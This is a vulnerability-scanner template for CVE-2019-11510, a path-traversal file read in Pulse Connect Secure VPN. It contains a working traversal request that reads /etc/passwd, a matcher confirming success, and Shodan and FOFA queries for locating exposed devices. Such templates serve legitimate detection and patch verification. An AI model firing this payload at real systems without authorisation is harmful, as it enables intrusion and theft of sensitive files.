id: CVE-2019-11510

info:
  name: Pulse Connect Secure SSL VPN Arbitrary File Read
  author: organiccrap
  severity: critical
  description: Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 all contain an arbitrary file reading vulnerability that could allow unauthenticated remote attackers to send a specially crafted URI to gain improper access.
  impact: |
    An attacker can access sensitive information stored on the system, potentially leading to further compromise.
  remediation: |
    Apply the latest security patches and updates provided by Pulse Secure.
  reference:
    - https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
    - https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-11510
    - http://packetstormsecurity.com/files/154176/Pulse-Secure-SSL-VPN-8.1R15.1-8.2-8.3-9.0-Arbitrary-File-Disclosure.html
    - http://packetstormsecurity.com/files/154231/Pulse-Secure-SSL-VPN-File-Disclosure-NSE.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2019-11510
    cwe-id: CWE-22
    epss-score: 0.94464
    epss-percentile: 0.99993
    cpe: cpe:2.3:a:ivanti:connect_secure:9.0:r1:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ivanti
    product: connect_secure
    shodan-query:
      - http.html:"welcome.cgi?p=logo"
      - http.title:"ivanti connect secure"
    fofa-query:
      - body="welcome.cgi?p=logo"
      - title="ivanti connect secure"
    google-query: intitle:"ivanti connect secure"
  tags: packetstorm,cve,cve2019,pulsesecure,lfi,kev,ivanti

http:
  - method: GET
    path:
      - "{{BaseURL}}/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202c272ec16b2d5851086bef04eb7561439c78c06843b79e60bf405271a0b95300022100d15abc17d1208978ed542901e41dd113d3bcf8afd5135c0f97bc2d0f3befd8b0:922c64590222798bb761d5b6d8e72950